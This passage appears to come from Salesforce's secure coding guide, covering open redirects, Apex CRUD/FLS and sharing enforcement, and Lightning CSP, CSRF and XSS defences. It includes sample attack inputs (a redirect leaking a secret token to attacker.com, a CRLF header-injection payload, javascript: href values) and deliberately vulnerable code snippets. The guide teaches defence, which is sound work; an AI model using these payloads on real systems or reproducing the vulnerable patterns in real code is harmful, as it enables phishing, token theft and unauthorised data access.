- Java provides the [KeyStore](#) class for storing cryptographic keys. By default a flat file is used on the server that's encrypted with a password. For this reason, an alternative Cryptographic Service Provider (CSP) is recommended. The strongest solution for Java is to rely on a hardware solution for securely storing cryptographic keys. These keys such as a cryptographic smartcard or Hardware Security Module (HSM) are accessible by using the vendor's supplied CSP in that *java.security* configuration file. For more information on installing Java CSPs, consult the [Java Cryptography Architecture \(JCA\) Reference Guide](#). When not using a CSP, if the product is a client application, you must use JAVA bindings to store the passphrase protecting the keystore in the vendor provided key store. Never store the passphrase in source code or in a property file. For server Java solutions, follow the general guidance of making the passphrase protecting the keystore unavailable to the database process storing credentials.

A Java implementation of *bcrypt* is called [jBCrypt](#).

- PHP generally doesn't provide cryptographically secure random number generators. Make use of `/dev/urandom` as the source for random numbers.



Note: But, with the introduction of PHP 7.x, there is now a built-in cryptographically secure random number generator function called `random_int()`. This function can be used for generating secure random numbers in PHP 7.x and later versions. See [random_int](#).

Use the [mcrypt](#) library for cryptography operations. Salted hashes and salts could be subsequently stored in a database.

A framework called [phpass](#) offers "OpenBSD-style Blowfish-based *bcrypt*" for PHP. For client apps, you must use native bindings to store user secrets in the vendor-provided key store.

- For Ruby on Rails, there's a copy of *bcrypt* called [bcrypt-ruby](#). For client apps, you must use ruby bindings to store secrets in the vendor provided key store.

Storing Sensitive Data

- For Python, use a module that interacts with the vendor-provided keystores such as the python [keyring](#) module.
- For Flash/Air apps, use the [Encrypted Local Store](#) that contains bindings to use vendor-provided keystores to store secrets.

Arbitrary Redirect

which decodes to

```
http://www.evil.com/
```

This URL looks like (and *is*) a true example.com URL but will actually send people to evil.com. If evil.com hosts a convincing phishing attack page for example.com, example.com users may very well be tricked into providing their credentials to evil.com.

Another risk is abusing redirects to leak sensitive data that is stored in GET requests using the referer header.

This time let's take a look at a client side redirect example:

```
https://example.com/index.jsp?secretToken=81dc9bdb52d04dc2003#auth.jsp
```

The redirect URL is a part of the hash fragment and is used by a client side javascript to perform the redirection to the desired page :

```
<script>
var retURL = location.hash.substring(1);
window.location = retURL;
</script>
```

The value can be controlled by the user which means that an attacker can change the value to redirect to his own site.

```
https://example.com/index.jsp?secretToken=81dc9bdb52d04dc2003#http://attacker.com
```

The request will now be sent to "attacker.com" along with the Referer header value which is the URL of the page that performed the redirect. In this case the Referer contains sensitive data that is now being sent to the attacker.

```
Host: attacker.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0)
Gecko/20100101 Firefox/49.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/index.jsp?token=3423434234
```

Depending on your application and on your application framework, arbitrary redirects may also cause a [response splitting vulnerability](#): if the attacker provides %0d%0a (\r\n) in the right request parameter, and those characters make it into the HTTP Location: header, the attacker can control HTTP headers after the insertion point and can control the HTTP response body. If the malicious request is:

```
https://www.example.com/login.jsp?page=something%0d%0aSet-Cookie:+some+evil+data
```

the server may be tricked into responding:

```
HTTP/1.1 302 Found
Location: something
Set-Cookie: some evil data
```

Sample Vulnerability

This C# code shows a simple example of an arbitrary redirect:

```
// ...

string url =
request.QueryString["url"];

// ...

Response.Redirect(url);
```

Is My Application Vulnerable?

If your application has a redirection mechanism and does not already address the problem by limiting redirection (preferably by means of an allowlist, a mechanism that restricts redirects to known-good URIs), then it is likely to be vulnerable.

How Can I Test My Application?

Test your application by providing many different types of URLs for your redirection feature:

- All URL schemes: http://, https://, ftp://, data://, javascript:, and so on.
- URLs in many domains: example.com, www.example.com, subdom.other.example.com, evil.com, google.com, example.co.uk, and so on.

How Do I Protect My Application?

Ideally, the application will only redirect clients that match a pattern of known-safe URLs or URIs. Define a function in your code that checks potential redirection URLs and URIs against this list.

Apex and Visualforce Applications

In Apex code, audit any usage of PageReference to make sure that it is on the allowlist (the list of page references that can be used). In client side code, make sure that assignments to window.location are on the allowlist (the list of usable assignments). **Do not assume that returnUrl is sanitized by the platform.**

General Guidance

The general solution to the problem is to constrain the range of URLs to which your redirector will redirect. Constraining URLs by hostname is easy; the best way to do it is by keeping a list of known-good hostnames and checking that a URL's hostname matches one in the list. You can also limit by known-good schemes and by known-good paths (perhaps using a regular expression).

This redirector is considerably more constrained than the completely arbitrary one shown above:

```
String [] GoodDomains = new string [] { "example.com",
"www.example.com"
};
```

```
Uri url = new Uri("http://www.google.co.in/search?q=kamal");
bool good = false;

foreach (String d in GoodDomains) {
    if
(d.Equals(url.Host) {
    good = true;
    break;
    }
}

if (!good)
    throw new Exception("Dubious host name in
URL!");

Response.Redirect(url);
```

We can also add a check for known-good schemes:

```
if
(!url.Scheme.Equals("https"))
    throw new Exception("HTTPS URLs only!");
```

ASP.NET

Follow general guidance and audit any usage of `Response.Redirect()`.

Java

Follow general guidance and audit any usage of `HttpServletResponse.sendRedirect()`.

PHP

Follow general guidance and audit any usage of `header('location: <URL>')` and `fopen()`.

An additional protection step is a setting in `php.ini` called `allow_url_fopen` can be used to control if the `fopen()` is allowed to open URL schemes. If this is not being done in the code normally, it should be set to *off*.

Ruby on Rails

Follow general guidance and audit any usage of `redirect_to()`.

CHAPTER 10 Authorization and Access Control

In this chapter ...

- [Test Your Application for Vulnerabilities](#)
- [Protect Your Application from CRUD/FLS Vulnerabilities](#)
- [Protect Your Application from Sharing Violations](#)

Authorization and access control ensures that your users can only access resources they're permitted to use in a web application. Common vulnerabilities include directory traversal, insecure direct object reference, bypassing authorization mechanisms, and privilege escalation.

Understand User Roles and Access Control

User roles help in managing access rights and other privileges for your web applications.

- Unauthenticated users can access only the login page.
- Regular users can use most parts of the application but can't access areas such as maintenance or setup pages.
- Administrators have full access, including to the restricted areas of the application.

Sometimes users can gain unauthorized access, called an authorization bypass. A specific type of authorization bypass, called privilege escalation, happens when a user with limited access gains permissions for a higher-level role, like an administrator. This authorization bypass can result in access to sensitive or restricted features.

The way these vulnerabilities appear in a web application can be application-specific, but common authorization vulnerabilities exist and can be tested for [Authorization and access control](#) and are cited in the [CWE/SANS Top 25 Most Dangerous Programming Errors](#) report.

Test Your Application for Vulnerabilities

Test your applications for authorization and access control vulnerabilities to ensure web application security.

To see how authorization and access control work in a web application, use a proxy. Stay alert about the data being passed, such as logical roles, accounts, and groups. Ask questions to investigate the web application.

- Which pages are used for authenticating a user?
- What roles or groups exist for the web application?
- What are the capabilities and resources of each role or group?
- How do you grant access to a role or group?
- When granting access do you verify whether the requests come from an authenticated role or group member?
- What happens when incorrect role or group data is used for access?
- What happens when information from an external role or group is used for access?
- What happens when a user of the site modifies their own role or group data with a proxy before submission to a mechanism?
- What assumptions are being made, and does the product security team agree with these assumptions?

For Salesforce applications, ensure that the data operations enforce CRUD, FLS, and Sharing checks for the objects and fields.


To learn more about CRUD and FLS enforcement, check out the [Secure Server-Side Development module](#) on Trailhead. To detect CRUD and FLS violations in your code, consider using a code scanner such as [Salesforce Code Analyzer](#).

Protect Your Application from CRUD/FLS Vulnerabilities

Implement secure coding practices in Apex and Visualforce by enforcing object-level, field-level, and record-level access controls to prevent unauthorized data exposure or manipulation. Follow your organization's security policy on both standard and custom objects while ensuring that your app adapts to users with limited access.

By default, Apex data operations (SOQL, DML, and SOSL) run in system mode with full CRUD access to objects and fields. However, Apex also enables you to define access level for data operations. The `AccessLevel` class represents the two modes in which Apex runs database operations. Use this class to define the execution mode as `USER MODE` or `SYSTEM MODE`. An optional `accessLevel` parameter in Database and Search methods specifies whether the method runs in system mode (`AccessLevel.SYSTEM_MODE`) or user mode (`AccessLevel.USER_MODE`). Use these overridden methods to perform DML and query operations.

- [Database.query](#) method
- [Database.getQueryLocator](#) methods
- [Database.countQuery](#) method
- [Search.query](#) method
- [Database DML methods](#) (insert, update, upsert, merge, delete)

 **Note:** When Database DML methods are run with `AccessLevel.USER_MODE`, you can access errors for each record via `SaveResult.getErrors()`. Each `Database.Error` object provides the fields that caused the error through `getFields()`. With `insert` in user mode, you can also use the `DmlException` method `getFieldNames()` to obtain the fields that violated FLS.

These methods require the `accessLevel` parameter.

- [Database.queryWithBinds](#)
- [Database.getQueryLocatorWithBinds](#)
- [Database.countQueryWithBinds](#)

Use `WITH USER_MODE` or `WITH SYSTEM_MODE` in your SOQL or SOSL query to indicate the mode of the operation. Execute data operations in `USER_MODE` to ensure that sharing rules, CRUD, and FLS permissions are enforced. For more details on `USER_MODE` and `SYSTEM_MODE`, see [Enforce User Mode for Database Operations](#).

 **Note:** Salesforce suggests using `WITH USER_MODE` over `WITH SECURITY_ENFORCED` for enforcing CRUD and FLS, for its additional benefits. Also, `WITH SECURITY_ENFORCED` isn't allowed in AppExchange packages.

- `WITH USER_MODE` accounts for polymorphic fields, such as `Owner` and `Task.whatId`.
- `WITH USER_MODE` processes all clauses in the SOQL `SELECT` statement including the `WHERE` clause.
- `WITH USER_MODE` finds all FLS errors in your SOQL query, while `WITH SECURITY ENFORCED` finds only the first error. Further, in `USER_MODE` you can use the `getInaccessibleFields()` method on `QueryException` to examine the full set of access errors.

Learn About User Mode Operations

Use `USER_MODE` to ensure your SOQL, SOSL, and DML operations abide by the user's sharing rules, CRUD, FLS, and restriction rules.

- Access Records:

Use `WITH USER_MODE` in SOQL queries to enforce Sharing rules, CRUD, FLS, and Restriction Rules.

System mode privileges are temporarily lowered to retrieve records that are accessible to the user. System mode resumes when the query execution is complete.

```
List<Account> acc = [SELECT Id FROM Account WITH USER_MODE];
```

- Insert Records:

Ensure that the user has create and edit permissions on the `Opportunity.Amount` field (FLS check must be implemented).

For example, to create an opportunity with a value of \$500, create a new record and edit the `Opportunity.Amount` field (Field-Level Security check). This ensures that the insert operations proceed only if the user possesses the necessary permissions.

```
Opportunity o = new Opportunity();
// specify other fields
o.Amount=500;
insert as user o;
```

or

```
Opportunity o = new Opportunity();
// specify other fields
o.Amount=500;
database.insert(o, AccessLevel.USER_MODE);
```

- Update Records:


Use `update as user` or `database.update()` with `AccessLevel.USER_MODE` to update records while enforcing user permissions.

```
Account a = [SELECT Id,Name,Website FROM Account WHERE Id=:recordId];
// specify other fields
a.Website='https://example.com';
update as user a;
```

- SOSL Queries:

Execute SOSL queries in USER_MODE using `search.query()` with `AccessLevel.USER_MODE`. This ensures that the search results are filtered based on the user's permissions.

```
String queryString='FIND :searchString IN ALL FIELDS RETURNING ';
queryString+='Lead(Id,Salutation,FirstName,LastName,Name,Email,Company,Phone),';
queryString+='Contact(Id,Salutation,FirstName,LastName,Name,Email,Phone),';
queryString+='Account(Id,Name,Phone)';
List<List<SObject>> searchResults= search.query(queryString,AccessLevel.USER_MODE);
```

 **Note:** USER_MODE enforces CRUD/FLS/Sharing rules. You can use USER_MODE to avoid Sharing, CRUD, and FLS violations.

Use CRUD/FLS Check Methods

Enforce object-level and field-level permissions in your code by using `Schema.DescribeSObjectResult` and `Schema.DescribeFieldResult` methods to check your user's current access permission levels. These methods identify whether your user can perform a DML operation or query.

For example, you can use `isAccessible`, `isCreateable`, or `isUpdateable` methods of `Schema.DescribeSObjectResult` to verify whether the current user has read, create, or update access to an `sObject`. Similarly, with `Schema.DescribeFieldResult` you can use the access control methods to check whether the current user has read, create, or update access for a field. Furthermore, you can use the `isDeletable` method in `Schema.DescribeSObjectResult` to check if the current user has permission to delete the records of an `sObject`.

Here's the list of the `DescribeSObjectResult` class helper functions that you can use to verify a user's level of access.

- `isCreateable()`:

Checks if a user has Create permission on an object and Edit permission on the fields.

If a user wants to create an Opportunity, your code should verify that the user has Create permissions on the Opportunity object and Edit permissions on the Opportunity.Amount field using the `isCreateable()` method.

```
if (!Schema.sObjectType.Opportunity.isCreateable() ||
    !Schema.sObjectType.Opportunity.fields.Amount.isCreateable()) {
    ApexPages.addMessage(new ApexPages.Message(ApexPages.Severity.ERROR,
        'Error: Insufficient Access'));
    return null;
}
Opportunity o = new Opportunity();
o.Amount=500;
database.insert(o);
```

- `isAccessible()`:

Verifies if a user has permissions to access and retrieve a field from the object.

If a user wants to access the Expected Revenue field in an Opportunity, your Apex code should check if the user has read permission on Opportunity.ExpectedRevenue using the `isAccessible()` method.

```
if (!Schema.sObjectType.Opportunity.isAccessible() ||
    !Schema.sObjectType.Opportunity.fields.ExpectedRevenue.isAccessible()) {
    ApexPages.addMessage(new ApexPages.Message(ApexPages.Severity.ERROR, 'Error:
    Insufficient Access'));
    return null;
}
Opportunity [] myList = [SELECT ExpectedRevenue FROM Opportunity LIMIT 1000];
```

- `isUpdateable()`:

Checks if a user has Edit permission on a field and the object.

If a user wants to update an Opportunity to mark the stage as "Closed Won". Your code should check if the user has the `isUpdateable()` permission on `Opportunity.StageName`.

```
if (!Schema.sObjectType.Opportunity.isUpdateable() ||
    !Schema.sObjectType.Opportunity.fields.StageName.isUpdateable()) {
    ApexPages.addMessage(new ApexPages.Message(ApexPages.Severity.ERROR, 'Error:
    Insufficient Access'));
    return null;
}
o.StageName='Closed Won'; update o;
```

- `isDeletable()`:

Checks if a user can delete records of an object. Note that unlike update, create, and access, delete performs only a CRUD check, verifying that the user can delete the records of an object.

Since you delete entire records in SOQL and not fields, you need to check only the user's CRUD access to the object.

```
if (!Lead.sObjectType.getDescribe().isDeletable()) {
    return null;
}
delete l;
```


Enforce Field and Object-level Data Protection

Use of `stripInaccessible()` enforces field and object-level data protection. Use this method to strip inaccessible field and relationship fields from query and subquery results for your users. The method also removes inaccessible `sObject` fields before DML operations and sanitizes `sObjects` received from untrusted sources to prevent exceptions.

This method checks source records for fields that don't meet field-level security checks. You can also verify user access to lookup or master-detail relationship fields.

The `stripInaccessible()` method creates a return list of `sObjects` identical to the source records, excluding fields that are removed or inaccessible. The `sObjects` returned are in the same order as the source records listed in the `sourceRecords` parameter of the `stripInaccessible()` method. Fields that aren't queried are set to null (empty) in the return list without causing an exception.

Furthermore, this method doesn't support the `AggregateResult sObject` type. Use of this type in source records results in an exception.

 **Note:** To prevent DML issues, this method doesn't remove the ID field.

To identify inaccessible fields that were removed, use the `isSet` method. For example, if the return list contains the `Contact` object and the custom field `social_security_number__c` is inaccessible to the user, this custom field fails the field-level access check. The field isn't set, and `isSet` returns false.

```
ObjectAccessDecision securityDecision = Security.stripInaccessible(sourceRecords);
Contact c = securityDecision.getRecords()[0];
System.debug(c.isSet('social_security_number__c')); // prints "false"
```

 **Note:** You can bypass CRUD and FLS in some cases.

- Creating Roll-Up summaries or aggregates that don't directly expose the data.
- Modifying custom objects or fields so that they aren't directly accessible to the user via CRUD or FLS.
- Accessing custom objects from a high-privileged method that non-admin users can't access.
- Accessing custom objects belonging to your namespace with a bespoke security policy. In this case, document the policy as part of your AppExchange security review submission.

For AppExchange Security Review, ensure that you document these use cases as a part of your submission.

Protect Your Application from Sharing Violations

Enforce sharing rules to prevent inadvertent exposure of sensitive data.

When using Apex, ensure that you don't inadvertently expose sensitive data. Apex generally runs in system context, which grants it access to all objects and fields without applying object permissions, field-level security, or sharing rules for the current user. Usually, system context provides the correct behavior for operations, such as triggers, that need access to all data in a Salesforce org. However, you can also specify that certain Apex classes must enforce the sharing rules that apply to the current user.

There are three keywords to remember for sharing rules.

- With sharing: Use this to enforce the current user's sharing rules for a class. Here's sample code.

```
public with sharing class ProjectService {
    public static List<Project__c> getProjects() {
        // This query respects sharing rules for Project__c
        return [SELECT Id, Name, Status__c FROM Project__c];
    }
}
```

- Without sharing: Use this to ensure the current user's sharing rules are not enforced for a class. Here's sample code.


```
public without sharing class ProjectServiceWithoutSharing {
    public static List<Project__c> getProjects() {
        // This query ignores sharing rules for Project__c
        return [SELECT Id, Name, Status__c FROM Project__c];
    }
}
```

- Inherited sharing: Use this to run an Apex class in the same sharing mode as the class that called it. Inherited sharing clarifies intent and avoids ambiguity that can arise from an omitted sharing declaration, helping ensure privileged Apex code isn't used insecurely.

```
public inherited sharing class ProjectServiceInheritedSharing {
    public static List<Project__c> getProjects() {
        // Sharing mode depends on caller context
        return [SELECT Id, Name, Status__c FROM Project__c];
    }
}
```


Enforcing the current user's sharing rules can impact the following.

- SOQL and SOSL queries: Queries can sometimes return fewer rows than they would in system context.
- Data Manipulation Language (DML) operations: Operations might fail if the current user lacks the necessary permissions. For example, if a user specifies a foreign key value that they don't have access to.

 **Note:** The sharing setting refers to the setting of the class where the method is defined and not the setting of the class where the method is called. For instance, if a method in a with sharing class is called by a without sharing class, the method still executes with sharing rules enforced. Class-level security is always necessary.

General Considerations for Enforcing Sharing Rules

- Always include a sharing declaration on classes that have database operations.
- Generally, declare classes as “with sharing” to ensure principle of least privilege.
 - Some use cases, such as controller classes, that are accessible to a guest user may be exempted.
- Always make a conscious decision when declaring a class as “inherited sharing” or “without sharing”.
 - Don’t grant unauthorized access to users in every possible execution flow.
- Apex triggers can’t have an explicit sharing declaration and run as without sharing. Therefore, hand code over to Handler classes instead of writing code in triggers.

 **Note:** You can bypass sharing rules in some cases.

- When building a site or community and deliberately denying guest user access to underlying data.
- When accessing custom objects belonging to your namespace with a bespoke security policy. This policy must be documented as part of AppExchange security review submissions. This exception doesn't apply to standard objects, where the Salesforce admin solely owns the security policy.

To learn more about sharing rules enforcement, check out the [Secure Server-Side Development module](#) on Trailhead. You can also look at [Use the with sharing, without sharing, and inherited sharing Keywords](#) for more information on sharing rules.

CHAPTER 11 Lightning Security

General Lightning Security Considerations

Third-party Lightning components and apps operate in a special domain (lightning.force.com or lightning.com) that's shared with Salesforce-authored Lightning code -- in particular, setup.app, which controls many sensitive security settings. Visualforce applications, by contrast, are served from a different domain (force.com) that isn't shared with Salesforce code. Because Lightning code shares the same origin as Salesforce-authored code, increased restrictions are placed on third-party Lightning code. These restrictions are enforced by Lightning Locker and a special Content Security Policy. There's also additional scrutiny in the AppExchange security review.

When developing Lightning apps, ensure that the [stricter CSP](#) setting is enabled. Org admins should enable this setting to protect the org's security controls from vulnerabilities in custom Lightning components. Develop and test your code with stricter CSP enabled in order to ensure compatibility. Note that stricter CSP is enabled by default beginning with Summer '18, but not in orgs created previously.


Content Security Policy for Lightning Components

Lightning components are currently subject to a Content Security Policy (CSP) with the following directives. See [CSP Directives](#) for more information.

Directive	Summary
default-src 'self'	Default policy that resources may be only loaded from the same domain (lightning.force.com or lightning.com).
script-src 'self'	Scripts may only be loaded from the same domain (no external script loads). Use static resources to store all scripts.
'unsafe-inline'	Inline JavaScript is not blocked by the CSP but is blocked in the security review as future CSP settings will not allow unsafe-inline. Do not write any code using inline JS in order to prevent your components from malfunctioning when CSP is tightened.
object-src 'self'	<object> <embed> and <applet> elements can only be loaded from the same domain (use static resources).
style-src 'self'	CSS styles can only be loaded from the same domain (use static resources).
img-src 'self'	Images can only be loaded from the same domain.
img-src 'http:' 'https:' 'data:'	Images can only be loaded via http, https, or data URIs. The security review requires https.
style-src 'https:'	CSS styles can only be loaded via https.
media-src 'self'	Audio and video elements can only be loaded from the same domain.
frame-ancestors https:	The page can be embedded only via an https parent frame.
frame-src https:	All frames must be loaded via https.

font-src https: data:	Fonts can be loaded via https and data URIs.
connect-src 'self'	XHR callbacks and websockets can only connect back to the same domain.
'unsafe-eval'	eval() and related reflection operations are <i>not</i> blocked by the CSP but are blocked in the AppExchange security review.

Additional Restrictions For JavaScript in Lightning Components

 **Note:** As of Spring '19 (API version 45.0), you can build Lightning components using two programming models: the Lightning Web Components model, and the original Aura Components model. Lightning web components are custom HTML elements built using HTML and modern JavaScript. Lightning web components and Aura components can coexist and interoperate on a page.

In addition to CSP directives, secure components also meet the following restrictions.

Restriction	Aura Components	Lightning Web Components
Components may only read or modify DOM elements belonging to the same namespace. To pass data they must communicate through the public API.	Set Aura attributes, call Aura methods, or use Aura or DOM events.	Use methods and attributes with the @api decorator or use events.
Events must not be fired in a renderer function	Fire events from a controller method or a helper method called by a controller method.	No restriction.
Component attributes must not be changed during a render cycle to avoid render loops.	Modify attributes from a controller method or a helper method called by a controller method.	Components should not modify their own attributes in a <code>renderedCallback</code> .
Components must properly load resources like scripts and stylesheets instead of using <code>script</code> or <code>link</code> tags.	Use the <code>ltng:require</code> component.	Use the lightning/platformResourceLoader module
Components must not override native window or document functions.	Aura components must not override window or document functions.	Lightning web components must not override window or document functions
Inline JavaScript must only be used for methods in the component markup. For example	Aura component method	Lightning web component method
<pre><div mouseover="myFunction">foo</div></pre>	<pre><div mouseover="{myController.myFunction}">foo</div></pre>	<pre><div mouseover="{myComponent.myFunction}">foo</div></pre>

Restriction	Aura Components	Lightning Web Components
Components submitted for security review must include all CSS and JavaScript libraries in static resources.	Load all libraries using <code>ltnng:require</code> from a <code>\$Resource</code> URL.	Load all libraries using <code>Lightning/platformResourceLoader</code> from a <code>\$Resource</code> URL.

You should also be familiar with the restrictions listed in [Security with Lightning Locker](#).

When you submit a Lightning component or app for security review, include all source JavaScript files in static resources, as we cannot review minified code directly. Failure to do so delays the review of your components until we get the appropriate source files. This also applies to sources that compile to JavaScript.

Component Security Boundaries and Encapsulation

In Apex, every method that is annotated `@AuraEnabled` should be treated as a webservice interface. That is, the developer should assume that an attacker can call this method with any parameter, even if the developer's client-side code does not invoke the method or invokes it using only sanitized parameters. Therefore the parameters of an `@AuraEnabled` method should:

- not be placed into a SOQL query unsanitized
- not be trusted to specify which fields and objects a user can access

Whenever an `@AuraEnabled` method modifies sObjects, full CRUD/FLS as well as sharing checks should be made to ensure that the client does not elevate their privileges when invoking this method. These checks need to be performed on the server (in Apex). Note that this is different than the situation with Visualforce, in which CRUD/FLS checks can be performed for you by the Visualforce presentation layer. This means porting code from Visualforce to Lightning requires the addition of CRUD/FLS checks each time an sObject is accessed.

Because Lightning components are meant to be re-usable and shareable, each global or public attribute should be viewed as untrusted from the point of view of the component's internal logic. In other words, don't take the contents of an attribute and render them directly to the DOM via `innerHTML` or `$.html()`. It does not matter whether, in your app, the attributes are provided by another component you control. When you need to perform a raw HTML write or set an href attribute, then the attribute must be marked sanitized in your JavaScript code.

An important aspect to understand is how session authentication works for your `AuraEnabled` components. If an Experience Cloud site user's session expires, and the rendered page contains Lightning components that can invoke custom Apex methods (`AuraEnabled`), the methods are invoked as the site's guest user. Plan your implementation to either provide/revoke access to the site guest user or to monitor for session time-outs to invoke login requests as needed.

Access Control in Apex Controllers and Supporting Classes

When Lightning components invoke server-side controllers, the developer must ensure that the server-side read/write operations don't subvert the organization's security policy as set by the user's profile and sharing permissions. All access control enforcement must occur server-side, because the client is under the control of the attacker. Fortunately you can ensure that your server-side code is safe to use with Lightning components by taking some additional steps when writing your Apex classes.

Sharing in Apex Classes

All controller classes *must* have the `with sharing` keyword. There are no exceptions. In some cases, your code needs to elevate privileges beyond those of the logged-in user. For example, you may have a method that returns summary data computed over fields that the logged-in user cannot access. In this case, the controller must still use the `with sharing` keyword, but a specific Aura-enabled method may call a helper method in a class that is explicitly marked without sharing. All privileged operations should be placed into these helper classes, and each privileged helper class should perform a single privileged function and no unprivileged functions. All other classes must be `with sharing`.

```
public class ExpenseController() { //Unsafe

    @AuraEnabled
    public static String getSummary() {
        doPrivilegedOp() //should not be here
    }
}
```

```
public with sharing class ExpenseController() { //safe

    @AuraEnabled
    public static String getSummary() {
        HelperClass.doPrivilegedOp()
    }
}
```

```
public without sharing HelperClass() { //safe, not a controller and
limited functionality

    protected static String doPrivilegedOp() {
        //calculate roll-up field here
    }
}
```

Avoid ambiguous sharing policies that make auditing difficult, particularly in large apps with complex control flows. Write apps in such a way that an auditor who looks at a class that performs a database operation can quickly and accurately determine if the database operation respects user permissions. All global classes, classes that expose webservices, or allow for remote invocation (such as Aura Enabled classes and remote action classes) must always use the `with sharing` keyword. The exception is for controller classes in sites, including Experience Cloud sites, where a `with sharing` policy could force the granting of excessive permissions to guest users.

CRUD/FLS Enforcement

CRUD/FLS permissions aren't automatically enforced in Lightning components or controllers. You can't rely on Lightning components to enforce security as the client is under the control of the attacker, so all security checks must always be performed server-side. You must explicitly check for `isAccessible()`, `isUpdateable()`, `isCreateable()`, and `isDeletable()` prior to performing these operations on sObjects.

```
public with sharing class ExpenseController {

    //ns = namespace, otherwise leave out ns__
    @AuraEnabled
    public static List<ns__Expense__c> get_UNSAFE_Expenses() {
//vulnerable
        return [SELECT Id, Name, ns__Amount__c, ns__Client__c,
```

```

ns__Date__c,
        ns__Reimbursed__c, CreatedDate FROM ns__Expense__c];
    }

    @AuraEnabled
    public static List<ns__Expense__c> getExpenses() { //safe
        String [] expenseAccessFields = new String [] { 'Id',
                                                        'Name',
                                                        'ns__Amount__c',
                                                        'ns__Client__c',
                                                        'ns__Date__c',
                                                        'ns__Reimbursed__c',
                                                        'CreatedDate'
                                                    };

        // Obtaining the field name/token map for the Expense object
        Map<String,Schema.SObjectField> m =
        Schema.SObjectType.ns__Expense__c.fields.getMap();

        for (String fieldToCheck : expenseAccessFields) {

            // Check if the user has access to view field
            if (!m.get(fieldToCheck).getDescribe().isAccessible()) {

                //also pass error to client
                throw new System.NoAccessException()

                //included to quiet editor
                return null;
            }
        }

        //now it is safe to proceed with call
        return [SELECT Id, Name, ns__Amount__c, ns__Client__c,
ns__Date__c,
                ns__Reimbursed__c, CreatedDate FROM
ns__Expense__c];
    }
}

```

Field Validation Concerns

For purposes of threat modeling, the client is under the control of the attacker, therefore you cannot rely on client-side field validation to sanitize data written to the server. Client-side field validation has an important usability role -- avoiding round trips for normal (non-malicious) users. Nevertheless, if you require field-level validation of your sObject data model, then this must be performed with triggers. Note

that validation in the Aura-enabled server-side controller is also insufficient as users can use the SOAP/REST API to modify objects directly, bypassing the Apex Controller as well as the UI.

Object Validation Concerns

When Aura enabled methods receive objects as input types, you must validate the fields within those objects, since any fields could be set by the client. Here's a typical vulnerable example.

```
@AuraEnabled
public static Account insertAccount(Account a){
    // We expect only Name to be set
    if (Schema.SObjectType.Account.fields.Name.isUpdatable()){
        insert a; // <== problem: if Account "a" includes other
fields
        // or custom fields they will also be set.
        return a;
    }

    return new Account();
}
```

To do this, you must iterate through all populated fields and check FLS on those fields.

```
@AuraEnabled
public static Account respectFLS(Account a){
    Map<String, Schema.SObjectField> fieldMap =
Schema.SObjectType.Account.fields.getMap();
    Map<String, Object> fieldsToValue =
a.getPopulatedFieldsAsMap();
    for (String fieldKey : fieldsToValue.keySet()) {
        // if this populated field is not accessible, throw an
error
        if (! fieldMap.get(fieldKey).getDescribe().isUpdateable())
    {
        throw new SecurityException('Invalid fields');
    }
    }
    insert a;
    return a;
}
```

Cross Site Request Forgery

In order to prevent [CSRF attacks](#) on page 47, do not invoke any server-side controller method that performs a DML operation automatically as the result of a page load. Specifically, do not invoke server-side DML controller method as onInit handlers, or afterRender handlers (if rendering is performed automatically on page load).

```
{
doInit: function(cmp) {
    var action = cmp.get("c.updateField"); //vulnerable to CSRF
    [...]
    $A.enqueueAction(action);
},
handleClick: function(cmp, event) {
```

```

        var action = cmp.get("c.updateField"); //not vulnerable to
CSRF
        [...]
        $A.enqueueAction(action);
    }
})

```

The key is that the DML operation not be performed without an event stemming from human interaction, such as a click. CSRF only applies to server-side DML operations, not operations that update client-side component attributes.

Cross Site Scripting

Component markup is rendered differently than standard Visualforce markup (which is rendered server-side) or javascript micro-templating frameworks (which are usually rendered with innerHTML). In Lightning, component markup must be valid xhtml, and the markup is parsed and rendered to the DOM with standard DOM accessors such as `setAttribute` and `textContent`. Therefore no html parsing occurs during component markup rendering, and there is no possibility of breaking out of attribute values or nodeValues. When attributes are interpolated into markup, they can only occur as attribute values or the text content of DOM nodes. Lightning attribute values cannot be inserted as attribute names, or portions of attribute values. This means certain constructions that would be valid in Visualforce or most micro-templating frameworks are invalid aura expressions, and most of the remaining constructions are automatically safe:

```

<div>Here is a <b> {!v.myvalue} </b> bold value</div> <!-- always
safe-->
<div title="{!v.myvalue}">a div</div> <!-- always safe-->
<div title="{!v.myvalue}">a div</div> <!-- always safe-->
<div {!v.myvalue}>a div</div> <!-- will not compile-->
<div title="Here is a {!v.myvalue}">a div</div> <!-- will not
compile -->
<div title="{!'Here is a ' + v.myvalue}">a div</div> <!-- always
safe-->

```

Because of this, no encoding is ever performed by the framework when rendering component markup, nor are any encoding functions provided by the framework.

However, there is still the possibility of using unsafe attributes:

```

<a href="{!v.foo}">click</a> //unsafe: foo=javascript:..
<iframe src="{!v.foo}" /> //unsafe: foo=javascript:..

```

The following is a partial list of unsafe combinations of tags and attributes that should be avoided, if possible within lightning component markup in order to avoid assigning unsafe values to lightning attributes:

Tag	Attribute(s)	Issue
(any)	href or xlink:href	javascript: or data: pseudo-schemes
any	on* (event handler)	js execution context
iframe, embed	src	javascript: pseudo scheme
iframe	srcdoc	html execution context
form	formaction	js execution context

object	data	js execution via data uri
animate	to, from	js execution context
any	style	css injection

This is only a partial list. See html5sec.org for more information about possible unsafe attributes. Of the above unsafe constructions, two are commonly used in component markup, namely anchor tags as well as style tags. There are several options for sanitizing these attributes.

Anchor tags can be sanitized when relative URLs are used:

```
<a href="{!v.foo}">click</a> //unsafe: foo=javascript:..
<a href="{! '/' + v.foo}">click</a> //forces scheme to be https or
http
```

The same procedure can be used to control other URLs.

If you must handle both absolute and relative URLs, another option is to mark the attribute as private (for example if you are setting it in your code and are not setting it externally).

Alternately if you cannot mark the attribute as private and must set it in component markup (rather than a custom renderer) you will need to sanitize the attribute yourself with an onChange event:

component:

```
<aura:component>
  <aura:attribute name="attr" type="String" />
  <aura:handler name="change" value="{!v.attr}"
action="{!c.sanitizeUrl}" />
  <aura:handler name="init" value="this" action="{!c.sanitizeUrl}"
/>
  <a href="{!v.attr}">click here</a>
</aura:component>
```

with controller:

```
({
  sanitizeUrl    : function(cmp, event, helper) {
    var el = document.createElement('a');
    el.href = ('getParam' in event) &nbsp;   ?
event.getParam('value') &nbsp;   : cmp.get('v.attr');
    if (el.protocol &nbsp;   !== 'https:') {
      cmp.set('v.attr', ' ');
    }
  }
})
```

